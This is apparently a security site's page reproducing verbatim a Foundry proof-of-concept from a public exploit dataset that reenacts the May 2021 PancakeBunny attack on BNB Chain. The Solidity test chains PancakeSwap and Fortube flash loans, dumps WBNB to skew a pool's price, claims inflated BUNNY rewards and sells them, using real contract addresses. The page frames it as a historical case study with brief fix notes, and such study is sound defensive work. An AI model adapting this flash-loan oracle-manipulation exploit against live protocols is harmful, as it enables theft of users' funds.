Public reproduction file

src/test/2021-05/PancakeBunny_exp.sol

Public reproduction file for the historical PancakeBunny incident (2021-05-19). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.

Code Contracts Transactions

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2021-05/PancakeBunny_exp.sol231 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity >=0.7.0 <0.9.0;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7/**
8 * Exploit:
9 * Tx 1 : https://bscscan.com/tx/0x88fcffc3256faac76cde4bbd0df6ea3603b1438a5a0409b2e2b91e7c2ba3371a
10 *     Attacker zaps 1 BNB into WBNB-USDT VaultFlipToFlip
11 *
12 * harvest() tx: https://dashboard.tenderly.co/tx/bsc/0x9c48fd13d65f5f951882282444a45a7b84c4f673891bbdcc48af68ed305950bb/debugger?trace=0.0
13 *
14 * Tx 2 : https://bscscan.com/tx/0x897c2de73dd55d7701e1b69ffb3a17b0f4801ced88b0c75fe1551c5fcce6a979
15 *     Attacker's price oracle manipulation transaction
16 *
17 * Resources:
18 * https://pancakebunny.medium.com/hello-bunny-fam-a7bf0c7a07ba
19 * https://cmichel.io/bsc-pancake-bunny-exploit-post-mortem/
20 * https://rekt.news/pancakebunny-rekt/
21 * https://www.newsbtc.com/news/company/bsc-flash-loan-attack-pancakebunny/
22 */
23contract ContractTest is Test {
24    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
25    address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
26    address USDT = 0x55d398326f99059fF775485246999027B3197955;
27    address BUNNY = 0xC9849E6fdB743d08fAeE3E34dd2D1bc69EA11a51;
28 
29    IVaultFlipToFlip flip = IVaultFlipToFlip(0x633e538EcF0bee1a18c2EDFE10C4Da0d6E71e77B);
30 
31    IBunnyZap zap = IBunnyZap(0xdC2bBB0D33E0e7Dea9F5b98F46EDBaC823586a0C);
32 
33    IPancakeRouter router = IPancakeRouter(payable(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F));
34 
35    Uni_Pair_V2 WBNBUSDTv1 = Uni_Pair_V2(0x20bCC3b8a0091dDac2d0BC30F68E6CBb97de59Cd);
36    Uni_Pair_V2 WBNBUSDTv2 = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
37    Uni_Pair_V2 WBNBBUNNY = Uni_Pair_V2(0x7Bb89460599Dbf32ee3Aa50798BBcEae2A5F7f6a);
38 
39    Uni_Pair_V2 WBNBCAKE = Uni_Pair_V2(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);
40    Uni_Pair_V2 WBNBBUSD = Uni_Pair_V2(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16);
41    Uni_Pair_V2 WBNBETH = Uni_Pair_V2(0x74E4716E431f45807DCF19f284c7aA99F18a4fbc);
42    Uni_Pair_V2 WBNBBTC = Uni_Pair_V2(0x61EB789d75A95CAa3fF50ed7E47b96c132fEc082);
43    Uni_Pair_V2 WBNBSAFEMOON = Uni_Pair_V2(0x9adc6Fb78CEFA07E13E9294F150C1E8C1Dd566c0);
44    Uni_Pair_V2 WBNBBELT = Uni_Pair_V2(0xF3Bc6FC080ffCC30d93dF48BFA2aA14b869554bb);
45    Uni_Pair_V2 WBNBDOT = Uni_Pair_V2(0xDd5bAd8f8b360d76d12FdA230F8BAF42fe0022CF);
46    Uni_Pair_V2[] pairs = [WBNBCAKE, WBNBBUSD, WBNBETH, WBNBBTC, WBNBSAFEMOON, WBNBBELT, WBNBDOT];
47 
48    IFortubeBank FortubeBank = IFortubeBank(0x0cEA0832e9cdBb5D476040D58Ea07ecfbeBB7672);
49 
50    address keeper = 0x793074D9799DC3c6039F8056F1Ba884a73462051;
51 
52    constructor() public {
53        cheat.createSelectFork("bsc", 7_556_330);
54 
55        IERC20(WBNB).approve(address(zap), 1e18);
56        IERC20(address(WBNBUSDTv2)).approve(address(flip), type(uint256).max);
57        IERC20(address(USDT)).approve(address(router), type(uint256).max);
58        IERC20(address(WBNB)).approve(address(router), type(uint256).max);
59    }
60 
61    function testExploit() public {
62        payable(WBNB).call{value: 1e18}("");
63 
64        emit log_named_decimal_uint(
65            "Initial WBNB balance of attacker:", IERC20(WBNB).balanceOf(address(this)), IERC20(WBNB).decimals()
66        );
67        emit log_named_decimal_uint(
68            "Initial USDT balance of attacker:", IERC20(USDT).balanceOf(address(this)), IERC20(USDT).decimals()
69        );
70        emit log_named_decimal_uint(
71            "Initial BUNNY balance of attacker:", IERC20(BUNNY).balanceOf(address(this)), IERC20(BUNNY).decimals()
72        );
73 
74        // Deposit a minimum amount of WBNB + USDT to VaultFlipToFlip, transfer LP tokens to WBNB + USDT Pancake pool.
75        emit log_string("Zapping 1 WBNB into WBNB+USDT v2 pool...");
76 
77        zap.zapInToken(WBNB, 1e18, address(WBNBUSDTv2));
78        uint256 lpamount = IERC20(address(WBNBUSDTv2)).balanceOf(address(this));
79        flip.deposit(lpamount);
80 
81        emit log_string("After X blocks, the keeper of VaultFlipToFlip calls harvest()");
82 
83        cheat.warp(1_655_908_339);
84        cheat.roll(7_556_391);
85 
86        // Keeper needs to call flip.harvest() so that flip.earned(address(this)) > 0
87        cheat.prank(keeper);
88        (bool success,) = address(flip).call(abi.encodeWithSignature("harvest()"));
89        require(success, "flip.harvest() fails");
90 
91        emit log_string("Exploit begins:");
92 
93        trigger();
94    }
95 
96    function trigger() public {
97        if (flip.earned(address(this)) > 0) {
98            //Initiate flashloans
99            emit log_string("Initiate flashloans...");
100 
101            (uint256 _amount0, uint256 _amount1,) = pairs[0].getReserves();
102            if (WBNB == pairs[0].token1()) {
103                pairs[0].swap(0, _amount1 - 1, address(this), abi.encode(0, 1));
104            } else {
105                pairs[0].swap(_amount0 - 1, 0, address(this), abi.encode(0, 0));
106            }
107 
108            // execution passes to pancakeCall()
109 
110            // all flashloans have been repaid!
111            emit log_string("All flashloans have been repaid!");
112 
113            //Collect profit
114            emit log_named_decimal_uint(
115                "Collected WBNB profit:", IERC20(WBNB).balanceOf(address(this)), IERC20(WBNB).decimals()
116            );
117            emit log_named_decimal_uint(
118                "Collected USDT profit:", IERC20(USDT).balanceOf(address(this)), IERC20(USDT).decimals()
119            );
120        } else {
121            revert("Nothing earned.");
122        }
123    }
124 
125    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
126        (uint256 level, uint256 asset) = abi.decode(data, (uint256, uint256));
127 
128        // Take 6 WBNB flashloans from PCS
129        if (level + 1 < 7) {
130            level++;
131            (uint256 _amount0, uint256 _amount1,) = pairs[level].getReserves();
132            if (WBNB == pairs[level].token1()) {
133                pairs[level].swap(0, _amount1 - 1, address(this), abi.encode(level, 1));
134            } else {
135                pairs[level].swap(_amount0 - 1, 0, address(this), abi.encode(level, 0));
136            }
137        } else {
138            //flashloan from fortube bank
139            uint256 usdtFlashloanAmount = 2_961_750_450_987_026_369_366_661; // 2'961'750.450987026369366661 USDT
140 
141            FortubeBank.flashloan(address(this), USDT, usdtFlashloanAmount, hex"");
142            // execution passes to executeOperation()
143        }
144 
145        //repay each PCS flashloan
146        uint256 retAmount = asset == 0 ? ((amount0 * 10_000) / 9975 + 1) : ((amount1 * 10_000) / 9975 + 1);
147        require(IERC20(WBNB).balanceOf(address(this)) >= retAmount, "not making proift");
148        IERC20(WBNB).transfer(msg.sender, retAmount);
149    }
150 
151    function executeOperation(address token, uint256 amount, uint256 fee, bytes calldata params) public {
152        uint256 usdtBalance = IERC20(USDT).balanceOf(address(this));
153 
154        emit log_named_decimal_uint(
155            "After all PCS flashloans, attacker WBNB balance:",
156            IERC20(WBNB).balanceOf(address(this)),
157            IERC20(WBNB).decimals()
158        );
159 
160        emit log_named_decimal_uint(
161            "After Fortube Bank flashloan, USDT balance of attacker:", usdtBalance, IERC20(USDT).decimals()
162        );
163 
164        // *Actual exploit*
165        exploit();
166 
167        // Start repaying flashloans
168        emit log_string("Repaying flashloans...");
169 
170        // Repay fortube flashloan
171        uint256 usdtOwed = amount + fee;
172        IERC20(USDT).transfer(FortubeBank.controller(), usdtOwed);
173    }
174 
175    function exploit() public {
176        uint256 wbnbAmount = IERC20(WBNB).balanceOf(address(this)) - 15_000e18;
177 
178        // Manipulate BunnyMinter._zapAssetsToBunnyBNB - deposit liquidity
179        IERC20(WBNB).approve(address(zap), type(uint256).max);
180        zap.zapInToken(WBNB, 15_000e18, address(WBNBUSDTv2));
181        uint256 attackerLPBalance = IERC20(address(WBNBUSDTv2)).balanceOf(address(this));
182        IERC20(address(WBNBUSDTv2)).transfer(address(WBNBUSDTv2), attackerLPBalance);
183 
184        emit log_string("Dumping all WBNB for USDT on WBNB+USDT v1 pool..");
185 
186        // Manipulate WBNB - USDT pair
187        (uint256 reserve0, uint256 reserve1,) = WBNBUSDTv1.getReserves();
188        uint256 amountIn = wbnbAmount;
189        uint256 amountOut = router.getAmountOut(amountIn, reserve1, reserve0);
190        IERC20(WBNB).transfer(address(WBNBUSDTv1), amountIn);
191        WBNBUSDTv1.swap(amountOut, 0, address(this), hex"");
192 
193        emit log_named_decimal_uint(
194            "After dumping all WBNB, WBNB balance of attacker:",
195            IERC20(WBNB).balanceOf(address(this)),
196            IERC20(WBNB).decimals()
197        );
198        emit log_named_decimal_uint(
199            "After dumping all WBNB, USDT balance of attacker:",
200            IERC20(USDT).balanceOf(address(this)),
201            IERC20(USDT).decimals()
202        );
203 
204        //Collect inflated rewards
205        flip.getReward();
206 
207        emit log_named_decimal_uint(
208            "After collecting rewards, BUNNY balance of attacker:",
209            IERC20(BUNNY).balanceOf(address(this)),
210            IERC20(BUNNY).decimals()
211        );
212 
213        //Dump BUNNY
214        emit log_string("Dumping all BUNNY for WBNB on WBNB+BUNNY pool...");
215        {
216            uint256 bunnyBalance = IERC20(BUNNY).balanceOf(address(this)) - 1;
217            (uint256 reserve0, uint256 reserve1,) = WBNBBUNNY.getReserves();
218            uint256 amountIn = bunnyBalance;
219            uint256 amountOut = router.getAmountOut(bunnyBalance, reserve1, reserve0);
220 
221            IERC20(BUNNY).transfer(address(WBNBBUNNY), amountIn);
222            WBNBBUNNY.swap(amountOut, 0, address(this), hex"");
223 
224            emit log_named_decimal_uint(
225                "After dumping all BUNNY, WBNB balance of attacker:",
226                IERC20(WBNB).balanceOf(address(this)),
227                IERC20(WBNB).decimals()
228            );
229        }
230    }
231}

Analysis

What this file is

A public Foundry test from the DeFiHackLabs dataset for the PancakeBunny incident dated 2021-05-19. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.

How to read it

The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.

Fixes and defensive tests

Review privileged entry points
Limit what external coin can be pulled without intent checks
Pause or migrate when a class of bug is public

Related files

7 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2021-05/bEarn_exp.solSame month in the dataset · 66 lines
src/test/2021-05/BurgerSwap_exp.solSame month in the dataset · 190 lines
src/test/2021-05/JulSwap_exp.solSame month in the dataset · 88 lines
src/test/2021-05/RariCapital_exp.solSame month in the dataset · 45 lines
src/test/2021-05/Spartan_exp.solSame month in the dataset · 124 lines
src/test/2021-05/ValueDefi_exp.solSame month in the dataset · 61 lines

Also imports external libraries: forge-std/Test.sol.

File record

Name: PancakeBunny
Path: src/test/2021-05/PancakeBunny_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 9fd67b8a4758b5bab9896c69188083c304a1107d
Language: Solidity
Size: 232 lines
Date: 2021-05-19
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2021-05/PancakeBunny_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9fd67b8a4758b5bab9896c69188083c304a1107d, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.